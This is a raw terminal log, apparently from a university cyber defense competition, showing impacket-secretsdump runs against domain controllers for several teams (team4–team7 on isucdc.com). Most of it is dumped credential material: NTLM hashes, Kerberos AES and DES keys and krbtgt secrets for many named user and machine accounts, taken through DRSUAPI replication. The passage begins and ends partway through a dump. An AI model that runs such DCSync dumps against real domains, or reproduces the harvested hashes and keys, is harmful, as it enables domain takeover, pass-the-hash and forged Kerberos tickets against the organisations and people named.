WWW$:1111:aad3b435b51404eeaad3b435b51404ee:802ceb9e332f0cd06a8e97d39589bc60:::
CODE$:1132:aad3b435b51404eeaad3b435b51404ee:23fb420d66782667d87d5f6392b7892e:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:04532d14a37a4664d992f90de4d7c3f20aebc42f7448048ce9bf55118763739f
Administrator:aes128-cts-hmac-sha1-96:a416827aea144b2404145540136d0712
Administrator:des-cbc-md5:bcba25b520e68cfd
krbtgt:aes256-cts-hmac-sha1-96:c83c578e89db5801d61401c7c8553df577fdebabed5e59491ccc116600c42e15
krbtgt:aes128-cts-hmac-sha1-96:0b0c9f947704a7d403a487a9b3d8bae7
krbtgt:des-cbc-md5:26a43289ecd92f29
team4.isucdc.com\jessica.butler:aes256-cts-hmac-sha1-96:addc843d8aae0c681b79efbe085ce18914268b44ea5484490f91e1e5b95dcd52
team4.isucdc.com\jessica.butler:aes128-cts-hmac-sha1-96:d3f23c8c813c3004e39efd52ee66de93
team4.isucdc.com\jessica.butler:des-cbc-md5:5d29e5974f1ab952
team4.isucdc.com\frederick.massey:aes256-cts-hmac-sha1-96:1a2e569424c08e06e7f53328ef48c4488e6dc1594d9908f0cbf4df19f18a3cdf
team4.isucdc.com\frederick.massey:aes128-cts-hmac-sha1-96:56c62b697a6b40d60dddd74b21f042c9
team4.isucdc.com\frederick.massey:des-cbc-md5:409b1acead61c2da
team4.isucdc.com\trevor.benson:aes256-cts-hmac-sha1-96:72f68cce691e2e2780c76525a21471fab2197313e1bcc2fda471797a967d4f5e
team4.isucdc.com\trevor.benson:aes128-cts-hmac-sha1-96:935f7221e35edab9921907ed01ed5b5e
team4.isucdc.com\trevor.benson:des-cbc-md5:5bd6b59464cba2bc
team4.isucdc.com\dylan.jenkins:aes256-cts-hmac-sha1-96:eeba50fb9723121f03ee20bfa5f255fe68bffc61fa1e73a638f3244e3e5d4be5
team4.isucdc.com\dylan.jenkins:aes128-cts-hmac-sha1-96:80e4c45bd49324106b7f27d4a2dbbb1b
team4.isucdc.com\dylan.jenkins:des-cbc-md5:b69b86f40734ea86
team4.isucdc.com\kyle.myers:aes256-cts-hmac-sha1-96:95d706b804c591e7070e7cc344e4baeea21da5b2fa08a644578cca58f5bbc095
team4.isucdc.com\kyle.myers:aes128-cts-hmac-sha1-96:99ab9b2078dc42bf89444e1d4fb7588c
team4.isucdc.com\kyle.myers:des-cbc-md5:68e91f8346dfd30d
team4.isucdc.com\laura.johnson:aes256-cts-hmac-sha1-96:8928a449596b36fe64c08e18b36dbea324b478b7cd953aafaa058b54c6499c7a
team4.isucdc.com\laura.johnson:aes128-cts-hmac-sha1-96:8917ce0380fdd2431cead795dc115b66
team4.isucdc.com\laura.johnson:des-cbc-md5:231acddf86088564
team4.isucdc.com\zachary.wallace:aes256-cts-hmac-sha1-96:31d1e0043a1a5c92a103210d2a5b347d438736967122feb94697831ad908bd1c
team4.isucdc.com\zachary.wallace:aes128-cts-hmac-sha1-96:044a8b6a04cdaa938ba743c950373dbd
team4.isucdc.com\zachary.wallace:des-cbc-md5:43fd5eb07f328f43
team4.isucdc.com\amber.palmer:aes256-cts-hmac-sha1-96:6ef89e84532170c830ab25557df5bd276cc87c7d689ad5ca530e9644ce652085
team4.isucdc.com\amber.palmer:aes128-cts-hmac-sha1-96:2f6ed3dbf3080c0d5befc43483c40fc7
team4.isucdc.com\amber.palmer:des-cbc-md5:f25e0d9dbafe57e5
team4.isucdc.com\kevin.holland:aes256-cts-hmac-sha1-96:5ac84bc8089d83c74a88653f266186a2a269f199aed512499fae9978deec7b6f
team4.isucdc.com\kevin.holland:aes128-cts-hmac-sha1-96:43665b61a231bfaa009584cb2c5fa9fe
team4.isucdc.com\kevin.holland:des-cbc-md5:892c23a257aec8c1
team4.isucdc.com\melissa.marshall:aes256-cts-hmac-sha1-96:32a70578c0f45a85aa146c03820824002e135e4e7f56f3fcb3f866881dee4270
team4.isucdc.com\melissa.marshall:aes128-cts-hmac-sha1-96:7193496a58a4c7990ee5b041582f1a7b
team4.isucdc.com\melissa.marshall:des-cbc-md5:02dc9726370beaa1
team4.isucdc.com\Tonya.rodriguez:aes256-cts-hmac-sha1-96:62db31ffcb6e2485847a40ab9f32ca02a4fbccb8b748dd4df891de26f76a1a93
team4.isucdc.com\Tonya.rodriguez:aes128-cts-hmac-sha1-96:bcb0237229234ae0f9e1a499e2be7066
team4.isucdc.com\Tonya.rodriguez:des-cbc-md5:437ff1ba0b08cbb0
AD$:aes256-cts-hmac-sha1-96:04a7134362fe1b4db100ba13b8893364a980b02701a4b4753b7a01a2d4ae0293
AD$:aes128-cts-hmac-sha1-96:5a7046bdbc3654ac0e6852b8549a36cd
AD$:des-cbc-md5:d0fe4323257fe373
GIT$:aes256-cts-hmac-sha1-96:02a21e9265af22d7737001c6ecf60a841342b1d07273ab19f1324025e6e9079f
GIT$:aes128-cts-hmac-sha1-96:f814f6b0023bb0629dcbb5f3670d7f0b
GIT$:des-cbc-md5:5b7667fb0ecd31ef
ENV$:aes256-cts-hmac-sha1-96:b7748b824393991fd01c4e2e3cb4b40a8c29f86d3983bf662cde0eac7558fa3d
ENV$:aes128-cts-hmac-sha1-96:4c99554e2c7d9374c6555b01a6717d87
ENV$:des-cbc-md5:7931f4b9ba380e64
IRC$:aes256-cts-hmac-sha1-96:16669ac8acd55648bebeaf0fd86287c03621f98036f1146db933558434eec461
IRC$:aes128-cts-hmac-sha1-96:c65139def2d4196c1167b0421c5ba699
IRC$:des-cbc-md5:079e16d5cef204e9
WWW$:aes256-cts-hmac-sha1-96:cb387dc8a47c588d242866b1d893ba4c626c55f946df3477c1782e5f0ba7e539
WWW$:aes128-cts-hmac-sha1-96:3fb4695b76ed561784014a02a7889502
WWW$:des-cbc-md5:31dcd50d343b43fb
CODE$:aes256-cts-hmac-sha1-96:b2f593cc0343529d66b14dd40b3af78542c277b080c5d46af46813868066d673
CODE$:aes128-cts-hmac-sha1-96:6f8b1bbae0b234ace6ca00e701b5db25
CODE$:des-cbc-md5:7f91d62a677fe5ae
[*] ClearText passwords grabbed
krbtgt:CLEARTEXT:0xfbe389278cd511d79f2a5e437f0bc0480257e8c438845989786f8953e8b782b86dba4219b9f354819254444a3aac53749ae8aa5448066835dd49ad3bea61b72126738935b142cc526adcac90f7786e954fab7a120cc65eecb51a59bcd5e502901971c9bf623a4e24bf539a70f60e9d75d163677cc2db220436b71fd8e67feea1c77ac942546b83e8d6db018674512556d47797d7eb2cba89fbadeb72c798f8a1ff25b49d0cf8cef2b51460ebc55ecaac7f8a0d1e84296ebb0eef31e096890a2949b7658f19f79f26616fa39839f4d05d1124ba89e2bb9538c478ef0df192ee1f8ece120f08322e48a001867eae5d20e69ca32daaa3e8630ede8a2468017447b5159861b7d7bcd3ec5f08d4f84f89458caa2c87ed99b3e8e8be9c44541e0a9899ae065d12ca4afc65d03f064fbc9454a8924f816495e9da09cd08522c192d6fe205225518300d44e8d44eabfb84c13ba0e6714d35481a729e52e6824cde7a8e26aa5352f41ba593b12c03fa7eeab6470530fbd75c21596eedd421d982da6b12136fa0b231959210ec8d2e679401b78a7901cbbb7bc22cb7310f3b4ad1fa2212edf0c2090be3ab48769cc89866c33f8e00fa0ccff75b0250726fec12b50dfed543ec7a5c1b8b901743fca9ee55d7ae5e0dd5b5a0093eb3d1cf44cf3b4ff439bc34932c59e8548fbebe15a1049904ffcfd2c4ce2f72203a0edaed569bc7a6d7dd00
[*] Cleaning up...
┌──(krbtgt㉿think)-[~]
└─$ impacket-secretsdump 'AD$'@ad.team5.isucdc.com
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:439ecda07f322f5712a83e55aff69759:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:c9af8f068232dbe43824d393f97f9b2f:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
cdc:1001:aad3b435b51404eeaad3b435b51404ee:6aa15b3d14492d3fa4aa7c5e9cdc0e6a:::
team5.isucdc.com\jessica.butler:1114:aad3b435b51404eeaad3b435b51404ee:fea9c9364cf7d3fbf6eacbfe2847b2f3:::
team5.isucdc.com\frederick.massey:1116:aad3b435b51404eeaad3b435b51404ee:459f8663503fceab557a00b085a285ad:::
team5.isucdc.com\trevor.benson:1117:aad3b435b51404eeaad3b435b51404ee:f24f2a27e3df08c180524dd8754a9d65:::
team5.isucdc.com\dylan.jenkins:1118:aad3b435b51404eeaad3b435b51404ee:6a29e611bb567884114e9f72044d7c5a:::
team5.isucdc.com\kyle.myers:1119:aad3b435b51404eeaad3b435b51404ee:934e004908ad5d8d106ffce8cf5adf69:::
team5.isucdc.com\zachary.wallace:1120:aad3b435b51404eeaad3b435b51404ee:28fa42e75b9ee76566b65c6d98a3cdd6:::
team5.isucdc.com\laura.johnson:1121:aad3b435b51404eeaad3b435b51404ee:035b1fbc3d343d49e82bc93e1e5e1d32:::
team5.isucdc.com\amber.palmer:1122:aad3b435b51404eeaad3b435b51404ee:d427c10b30c0e0605a844d2ae2ba8246:::
team5.isucdc.com\kevin.holland:1123:aad3b435b51404eeaad3b435b51404ee:48d27d11d9c654e7f44ad1341f9747e2:::
team5.isucdc.com\melissa.marshall:1124:aad3b435b51404eeaad3b435b51404ee:552c66047e45aa9141689e232efd4dd7:::
team5.isucdc.com\tonya.rodriguez:1125:aad3b435b51404eeaad3b435b51404ee:15a64666c1c43e3ef60da783bfefb3ff:::
AD$:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
GIT$:1106:aad3b435b51404eeaad3b435b51404ee:9424c2d3cf78388e2f399cc410a351af:::
ENV$:1107:aad3b435b51404eeaad3b435b51404ee:cd4a3706197095aae45537eb65ca935b:::
CODE$:1108:aad3b435b51404eeaad3b435b51404ee:975429d0db6e044a155a16d503dcf731:::
IRC$:1109:aad3b435b51404eeaad3b435b51404ee:ac7e344909248d1c7d8058183dbfc85d:::
DUMMY$:1127:aad3b435b51404eeaad3b435b51404ee:b433ed2456ddc11d1cee281b35940f0a:::
CDC$:1128:aad3b435b51404eeaad3b435b51404ee:127791aa899a6b618b8864dc08098b10:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:27a0f0152dc48387deadff4ec6cecf37f510370fd159166c3d5237daaeef8ced
Administrator:aes128-cts-hmac-sha1-96:73a8d1ec31e250036dbcb59b9c42ce63
Administrator:des-cbc-md5:3edc0e9b6e45bc29
krbtgt:aes256-cts-hmac-sha1-96:1a5ffdb9a0b2148f9ee0b9fa085f14f6414de7d4bae8b5d355b28fa05693fa36
krbtgt:aes128-cts-hmac-sha1-96:eee8b8639f863e1bddbea10e275a2bae
krbtgt:des-cbc-md5:080be67c76c261dc
team5.isucdc.com\jessica.butler:aes256-cts-hmac-sha1-96:4528a7aa2bcc2563e9567102cbe0c6910755f91522046992a6b34160b6e2e5f6
team5.isucdc.com\jessica.butler:aes128-cts-hmac-sha1-96:c2b01289bdc1f2c3f692f0f976b40c63
team5.isucdc.com\jessica.butler:des-cbc-md5:3be6e5cd6da20852
team5.isucdc.com\frederick.massey:aes256-cts-hmac-sha1-96:652d00de21c3491d7998b533e7b4bdff0ccafd2e99c227b5a20c7c71f249c76c
team5.isucdc.com\frederick.massey:aes128-cts-hmac-sha1-96:f995fc05e4642a3f7957bd71a2effd2d
team5.isucdc.com\frederick.massey:des-cbc-md5:97041329a7cb8580
team5.isucdc.com\trevor.benson:aes256-cts-hmac-sha1-96:d2cf053ad4fb33941214d125dab7e479586919508cc79cc86ee7c9066959cdba
team5.isucdc.com\trevor.benson:aes128-cts-hmac-sha1-96:4d99d18e68ad257f09480aa4c750c1e4
team5.isucdc.com\trevor.benson:des-cbc-md5:cb68c10264df268c
team5.isucdc.com\dylan.jenkins:aes256-cts-hmac-sha1-96:65570c1443e821f1ef2062f1f6ae66869c57cd1e12674c5bd720862708c7f950
team5.isucdc.com\dylan.jenkins:aes128-cts-hmac-sha1-96:4bf677a376f9bb73a07259ef74cd910a
team5.isucdc.com\dylan.jenkins:des-cbc-md5:8c6145b0fb4c580b
team5.isucdc.com\kyle.myers:aes256-cts-hmac-sha1-96:9b60d6a56b18402ccb17498cd3684820bda88c43cf8034fd860720f631cb2b1b
team5.isucdc.com\kyle.myers:aes128-cts-hmac-sha1-96:c378a31017186202c3117178f7a4d01b
team5.isucdc.com\kyle.myers:des-cbc-md5:e3fe0b6767029e68
team5.isucdc.com\zachary.wallace:aes256-cts-hmac-sha1-96:f9d92f275b8d80808f63a4b9bcaba50162f0d22737fd35a21ad81f3cfca947d8
team5.isucdc.com\zachary.wallace:aes128-cts-hmac-sha1-96:6c7cf8b0257308fa199376af120cfdcd
team5.isucdc.com\zachary.wallace:des-cbc-md5:e6fec10d8abacd38
team5.isucdc.com\laura.johnson:aes256-cts-hmac-sha1-96:c5f3a2d03961f4a21706f800df1dfedf4c6ac9f097d225cf05fabcdc948c9203
team5.isucdc.com\laura.johnson:aes128-cts-hmac-sha1-96:d7cc6dc747d4babebc100bc9d36b8144
team5.isucdc.com\laura.johnson:des-cbc-md5:6d58aed0ec045d01
team5.isucdc.com\amber.palmer:aes256-cts-hmac-sha1-96:dfb32cad1e7358829d87e734bbf253666b4457457fcf786a9385bf00a8569c8a
team5.isucdc.com\amber.palmer:aes128-cts-hmac-sha1-96:97c701c6e042d377b341bf20c4cd86e6
team5.isucdc.com\amber.palmer:des-cbc-md5:106713260dc231ce
team5.isucdc.com\kevin.holland:aes256-cts-hmac-sha1-96:b90c59765e390cd88272d72e18aecc1b3c5609ddad0135e8843777b58f7582c3
team5.isucdc.com\kevin.holland:aes128-cts-hmac-sha1-96:7037997bd372e90be0b758ffa9fbaa0d
team5.isucdc.com\kevin.holland:des-cbc-md5:3240611a3420f740
team5.isucdc.com\melissa.marshall:aes256-cts-hmac-sha1-96:6274dfbfa9a14d67c82f662e874f3ed16e9f31809c25bb6f5877a5a16b3dd2b9
team5.isucdc.com\melissa.marshall:aes128-cts-hmac-sha1-96:b7e4f7708d0f56b19b2afddbcf755aac
team5.isucdc.com\melissa.marshall:des-cbc-md5:4cea524cc47cf2a8
team5.isucdc.com\tonya.rodriguez:aes256-cts-hmac-sha1-96:4c8e243f8abd2718947294e3757c302f823f6bf6deb678d1b415057ce78c54ca
team5.isucdc.com\tonya.rodriguez:aes128-cts-hmac-sha1-96:77f95eb9651bedfc033cb51b282cbf3b
team5.isucdc.com\tonya.rodriguez:des-cbc-md5:f4ef51fb19e04a2a
AD$:aes256-cts-hmac-sha1-96:7aa6db0d63d675b6fa82bcf3b33f0194d746fa64dcdfe9d28d55ebd1c78ae951
AD$:aes128-cts-hmac-sha1-96:95f5bc782a227c9b43c281c666565aea
AD$:des-cbc-md5:94511fc84f852c31
GIT$:aes256-cts-hmac-sha1-96:d2ad819464d4370fe03cd9b712c386b1b2e01f54c6537e59831c774108f3bdcf
GIT$:aes128-cts-hmac-sha1-96:6dc80f22c1b941a2dec1859bb9ce9e1a
GIT$:des-cbc-md5:7f6b7abc31d616ae
ENV$:aes256-cts-hmac-sha1-96:0d2f1161c2c54d45b6950b1d55d98b6210c03726dc17142372ed408855d21e45
ENV$:aes128-cts-hmac-sha1-96:975a196504578d45341e2499112e27ac
ENV$:des-cbc-md5:c479511f6b4f8346
CODE$:aes256-cts-hmac-sha1-96:873cf2899fc0f84b3da4135acbb566a79da9fd1f48504b3b608d2b1a1da61049
CODE$:aes128-cts-hmac-sha1-96:a6a1c576b2535456023265a075f9d2fc
CODE$:des-cbc-md5:ade0f81c799da210
IRC$:aes256-cts-hmac-sha1-96:1b941f22e980fe399b2f73537570091cfe362523b26de722fd6412af1fa409b3
IRC$:aes128-cts-hmac-sha1-96:d75b537d4723f60de5df8977f49219f0
IRC$:des-cbc-md5:b3026ee56b4a400b
DUMMY$:aes256-cts-hmac-sha1-96:282331c6bc8e6c08907a76872d835c730ef488205330ec186734039c7635c102
DUMMY$:aes128-cts-hmac-sha1-96:4c00b02a6c0eb5bd2e3923011f80b770
DUMMY$:des-cbc-md5:58e0572079b5ab7f
CDC$:aes256-cts-hmac-sha1-96:974caada7a38727cf5965a4534a63a78ece29fef97e68c4b5b8a36bec6a180c0
CDC$:aes128-cts-hmac-sha1-96:869388b31b8b159fe6e7cff087b2216f
CDC$:des-cbc-md5:67d61c7c255bf7bc
[*] ClearText passwords grabbed
krbtgt:CLEARTEXT:0x7f8d9a26bc7d5498decdb076ffef0048e5be04fb441fdcecdd02b664fe4ae52684b350c5ff77896577fb94aea8ddbedcce03ca822ccd3706d83b519292e203870b65e0e31a54ee7c61defd7b85bb18a5a49c1ef92d24a91b3d247f758d0c6d02cbd01e93e749bb51aec8a6bcfd6242fdf74e91ddcff7f2dd624d8f746d3066cbac4f6d0a934595d1076d48e69631ec88d5620ac93f21d440fb1966d1d567eaafba26f5c19b7444914ede33d791a8f4de706c42a96bf390d413a116a26d9f1f5fe027b2ed3380e64f2887a28446fdbb8c43b15517bfcc3a8ecdb296b20a00dcaffa00ec0073d38c16a7fd69dc67cb3aea0d69196e998777a65c075418db8627bbf34b7c6c51fc0617379b5bb8104e478eb7a1def40c98a71238e3424fcc9c9e161040af1d234dbbdbded6a3f83f2a2db719366c6f2fc77e54911490de8699963b0497a541169f611e6cd5480040cccca83bd603266db64ac48d25f502ea4989bd79deb2ff4a259d12ff38485cafcbfab1f0e5115566e5bcbd7b8113d96a00e0d7aa3a3da9cc9446414cd0c827c37b932f661b321af05077fda58dd52ff66eca45cd836472f9bb05ed7da5ef7d614d15ff6d4e5c991aa1fb46c6d6ccb82dcfc0c94fe59a117e8290f4e80b33206649c5dd3adf9f71fac0c5024d80b41c842e3339ea765459d7088194d2a078b2480c5851c39a7248e6f71a0780c5811635ea56b6
[*] Cleaning up...
┌──(krbtgt㉿think)-[~]
└─$ impacket-secretsdump 'AD$'@ad.team6.isucdc.com
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:feba2d3e792ca4daee48d3bc4bac0656:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ef0d23ad3d4384c8bf7c587dd00d632a:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
cdc:1001:aad3b435b51404eeaad3b435b51404ee:15db49cc9be1d6b7bcba1f7a8c74f04c:::
team6.isucdc.com\jessica.butler:1117:aad3b435b51404eeaad3b435b51404ee:e8e3b4cf159b95626d4deec77776f007:::
team6.isucdc.com\frederick.massey:1118:aad3b435b51404eeaad3b435b51404ee:bf96dc24f6f8c0221a2cd1d17a68af7d:::
team6.isucdc.com\trevor.benson:1119:aad3b435b51404eeaad3b435b51404ee:76b8884ef03e5931e542d4ce8f848632:::
team6.isucdc.com\dylan.jenkins:1120:aad3b435b51404eeaad3b435b51404ee:4e5872be9bd827c675aea1831ddf9b66:::
team6.isucdc.com\kyle.myers:1121:aad3b435b51404eeaad3b435b51404ee:5e77c017a884c4bb5396cb7377af102a:::
team6.isucdc.com\zachary.wallace:1122:aad3b435b51404eeaad3b435b51404ee:987dd3698d062c7c51a73a937debefec:::
team6.isucdc.com\laura.johnson:1123:aad3b435b51404eeaad3b435b51404ee:ee9dcec99500867ee2b869d417d76b71:::
team6.isucdc.com\amber.palmer:1124:aad3b435b51404eeaad3b435b51404ee:d427c10b30c0e0605a844d2ae2ba8246:::
team6.isucdc.com\kevin.holland:1125:aad3b435b51404eeaad3b435b51404ee:48d27d11d9c654e7f44ad1341f9747e2:::
team6.isucdc.com\melissa.marshall:1126:aad3b435b51404eeaad3b435b51404ee:552c66047e45aa9141689e232efd4dd7:::
team6.isucdc.com\tonya.rodriguez:1127:aad3b435b51404eeaad3b435b51404ee:15a64666c1c43e3ef60da783bfefb3ff:::
team6.isucdc.com\webad:1133:aad3b435b51404eeaad3b435b51404ee:d29aaefca4607bcdc6a5ffb19194ce97:::
AD$:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
GIT$:1106:aad3b435b51404eeaad3b435b51404ee:ca4d92128bfa0adc2eed57e62b2d0c2f:::
ENV$:1107:aad3b435b51404eeaad3b435b51404ee:6a834070b16243efedc11fff083a962c:::
CODE$:1108:aad3b435b51404eeaad3b435b51404ee:02ceb5df410c61fe57bd787c245ebd33:::
IRC$:1109:aad3b435b51404eeaad3b435b51404ee:a5ecebaed9a1f649a97b867aeea4169b:::
WWW$:1131:aad3b435b51404eeaad3b435b51404ee:1c251b40fa716367870ed0953ee93ddd:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:6af94540c39c891b78c002e3de0e36d327ca096601ac63a12e800d27905c1e08
Administrator:des-cbc-md5:4502981a130b3e1a
krbtgt:aes256-cts-hmac-sha1-96:9dc810de4cf00cdf1ab22085505cec709f3fd04ccd2a57033e2cb61a62fef359
krbtgt:aes128-cts-hmac-sha1-96:f1a84abbc597c883f503634aceb19175
krbtgt:des-cbc-md5:914c256443c8f83b
cdc:aes256-cts-hmac-sha1-96:22282ad6d4b40f3986509a4e9f3a4dc2587fcc1f10a2397a2b279a9b05e7bfed
cdc:des-cbc-md5:9e8cfe68eccbb970
team6.isucdc.com\jessica.butler:aes256-cts-hmac-sha1-96:397f690942ebb3e8dad1bcd38d371ec2065c4c9db22ba3ad485166d34db569f5
team6.isucdc.com\jessica.butler:aes128-cts-hmac-sha1-96:af718a94b5264c90273329d0a0c1da4a
team6.isucdc.com\jessica.butler:des-cbc-md5:756102a4981f2945
team6.isucdc.com\frederick.massey:aes256-cts-hmac-sha1-96:5557c813312aafba446918245817c1f3e7cfe2a79c1ecccc7b77eb25ec99d015
team6.isucdc.com\frederick.massey:aes128-cts-hmac-sha1-96:90b25854c93b5afab97c66ab7f32f055
team6.isucdc.com\frederick.massey:des-cbc-md5:b64558e0ead3b5f8
team6.isucdc.com\trevor.benson:aes256-cts-hmac-sha1-96:4db7a8c72590b74fbfd37018fa0e50b71b1da3d87f311c211bed70d77f326352
team6.isucdc.com\trevor.benson:aes128-cts-hmac-sha1-96:39e699e9cb2f1ea72601e0709742dff0
team6.isucdc.com\trevor.benson:des-cbc-md5:646ef2107a37ce8f
team6.isucdc.com\dylan.jenkins:aes256-cts-hmac-sha1-96:eb94c88b6fbd70b01ff9958ef72d6dc03d1258daa2d505bf8f485a73cb40cfdc
team6.isucdc.com\dylan.jenkins:aes128-cts-hmac-sha1-96:cfc63858aadb695ab5b434553a157f26
team6.isucdc.com\dylan.jenkins:des-cbc-md5:a454bc02f407f4ba
team6.isucdc.com\kyle.myers:aes256-cts-hmac-sha1-96:76ea3b21b3fe5bc9c362e746e3337f176089b53390574e056a89e7dabf709905
team6.isucdc.com\kyle.myers:aes128-cts-hmac-sha1-96:71535dd3ef70cbca1334e7361cb217c2
team6.isucdc.com\kyle.myers:des-cbc-md5:13a4e568ef5d37ae
team6.isucdc.com\zachary.wallace:aes256-cts-hmac-sha1-96:c021c46842cf92b2e24049127ef805a19f45164539d90a9e69310e5ed04d287b
team6.isucdc.com\zachary.wallace:aes128-cts-hmac-sha1-96:ed98b12bf510d6186d5dd2a633e1eb27
team6.isucdc.com\zachary.wallace:des-cbc-md5:8a75eaf23702850e
team6.isucdc.com\laura.johnson:aes256-cts-hmac-sha1-96:9a5a0f6143fae39adbfdc8806a40ecdad0f16fd5ee2c9a15d6bbdb379e604663
team6.isucdc.com\laura.johnson:aes128-cts-hmac-sha1-96:a20d9cf0098218c40ae591fee9de5327
team6.isucdc.com\laura.johnson:des-cbc-md5:f2f86e151cbcad75
team6.isucdc.com\amber.palmer:aes256-cts-hmac-sha1-96:923014a01c1462b96866dbd2e2ca9a6fb3396e08f702af32fb59e09a1b2c1864
team6.isucdc.com\amber.palmer:aes128-cts-hmac-sha1-96:e82717765107f968f39783543798f136
team6.isucdc.com\amber.palmer:des-cbc-md5:7af88a20bfaee351
team6.isucdc.com\kevin.holland:aes256-cts-hmac-sha1-96:4603952305f6c2cf8cb1a7ac56e55f2994fd13eed1b8248c96ff5c1a4df268a0
team6.isucdc.com\kevin.holland:aes128-cts-hmac-sha1-96:ea434c0decf795315e66bee5639de04b
team6.isucdc.com\kevin.holland:des-cbc-md5:5dcb2cd5c4ba831a
team6.isucdc.com\melissa.marshall:aes256-cts-hmac-sha1-96:48a5ea22966d4a2bb8517bd9b7cb3ac065614951cb74aa0bda6da677453b0b02
team6.isucdc.com\melissa.marshall:aes128-cts-hmac-sha1-96:905c1af974109d33bbd27b76fad89f38
team6.isucdc.com\melissa.marshall:des-cbc-md5:fe072cd5dcda38d9
team6.isucdc.com\tonya.rodriguez:aes256-cts-hmac-sha1-96:63035a19c415696f0981851dd46facf97ce7c75ea16689f8c6b4e71627a60c7d
team6.isucdc.com\tonya.rodriguez:aes128-cts-hmac-sha1-96:273f44fa30aa5afc583651c52d63e79c
team6.isucdc.com\tonya.rodriguez:des-cbc-md5:ad5b1f3b0885c82a
team6.isucdc.com\webad:aes256-cts-hmac-sha1-96:6da86f4d1f62003961834a1ce337d9524dbdd0302fbe43b26815e2c553f5da44
team6.isucdc.com\webad:aes128-cts-hmac-sha1-96:321953f9afa591d5359d76fabe5c8bb2
team6.isucdc.com\webad:des-cbc-md5:bfdc13c12349837f
AD$:aes256-cts-hmac-sha1-96:184135cd44c70ca0e43209cfe8892d6225c06a9a65c55f97a2eec0ea688cbad4
AD$:des-cbc-md5:3df2316491a85280
GIT$:aes256-cts-hmac-sha1-96:57d3b9e54f62567617fdd31ca65081691629a103cc38e02c7c26d4848742b9ee
GIT$:aes128-cts-hmac-sha1-96:527c628d702734f4166f4829646fadd2
GIT$:des-cbc-md5:b0b6736880ef768f
ENV$:aes256-cts-hmac-sha1-96:991fab7129f2a1c757afd0ce884478a1ff6f0616a104abafd17560bd0f908dca
ENV$:aes128-cts-hmac-sha1-96:a530b3bc6bc2cbd82f23a20495519103
ENV$:des-cbc-md5:abab1c3738e05802
CODE$:aes256-cts-hmac-sha1-96:1c7b7e775b5df1a3492b01c0cb29cd51be3ffcdab972b5dd8f5ecb92167b7431
CODE$:aes128-cts-hmac-sha1-96:98b02a46261f158ba14b9056351273f1
CODE$:des-cbc-md5:ea0b7af2fd071c5b
IRC$:aes256-cts-hmac-sha1-96:b0909921b0c6b92dd82449c5327618858e9b9f1356c837061d6050b95267d268
IRC$:aes128-cts-hmac-sha1-96:a8f854981f069f12d7af31dbdf6fbefc
IRC$:des-cbc-md5:734a573bbc08da49
WWW$:aes256-cts-hmac-sha1-96:028d1ba0d480d7cfceb47efe74ff8d236a9bef7a4a7f468ae847e790309a55f8
WWW$:aes128-cts-hmac-sha1-96:5eeef4f09c91032d0e139f9738633552
WWW$:des-cbc-md5:cb7cad31d5f87994
[*] ClearText passwords grabbed
krbtgt:CLEARTEXT:0x8034ea474fc5c1c1fd80e5fa812bf42497fcdeb76cfc0683d1db94638fc79cdaf431d5a97cdc79e17877a48c16858e6bc0582c5ea0eb3e40bb48b5f1b719f85e72249686af76176d0a5e848a3768fcc2ca5c9b8efbb0d5c13ad57382a45fbb7c863fbcde65e32b3511edd07af32010db6a5c8476fe6c20b50ed4ea0dc5ec9f734b6402bdc9cb05f4aa1e83ea8d216f4dc8232b66ba962bae2527ce3aba780ead1e2a22019d2bfce376130be9f9a9d99387a2bae0bb088188545a309832481d3258eec5b3df39fc0b7aa39e4a2aa19ff25185ba993eb2cf17404886d6fed259f117e883dbe84793dde5c141b124a6da1d7012679af9c68b2b0c13bd19f6c30aca6c42fd3820d2b2eadba3b5e999cb95d87fc686443ce37d7e31353f4ac15730a1a1034b3474ac9b7beab071f350ba9fda5914b01bd28298c80d6405d134dcc408eeef547b21b32cb8bd69d09b99e712b61e0850987bd4311845e0fdb2231997af8b1f17d5ab936522821827e16170fde514a75532974b16212e9050c5c41633b7fb7dc859827dc44c6b7bb945b2ad57912ee259cd2d3e13b89526f53d109283d492ff8eab53fd363f1cb90d55d939680b0d7e3874c4f99cb758aa771979b37dd6bbec6854ded967e6c7c7248c5bc1b5b28bbc129db6e2f5570a9221396d7e1ce0267f63cebab51aa337c420dbb06dd2aadd3e1a0a97ae06a19679c54a4d4f7bd1
[*] Cleaning up...
┌──(krbtgt㉿think)-[~]
└─$ impacket-secretsdump 'AD$'@ad.team7.isucdc.com
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Password:
[-] RemoteOperations failed: SMB SessionError: code: 0xc000006d - STATUS_LOGON_FAILURE - The attempted logon is invalid. This is either due to a bad username or authentication information.
[*] Cleaning up...
┌──(krbtgt㉿think)-[~]
└─$ impacket-secretsdump 'AD$'@ad.team7.isucdc.com
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
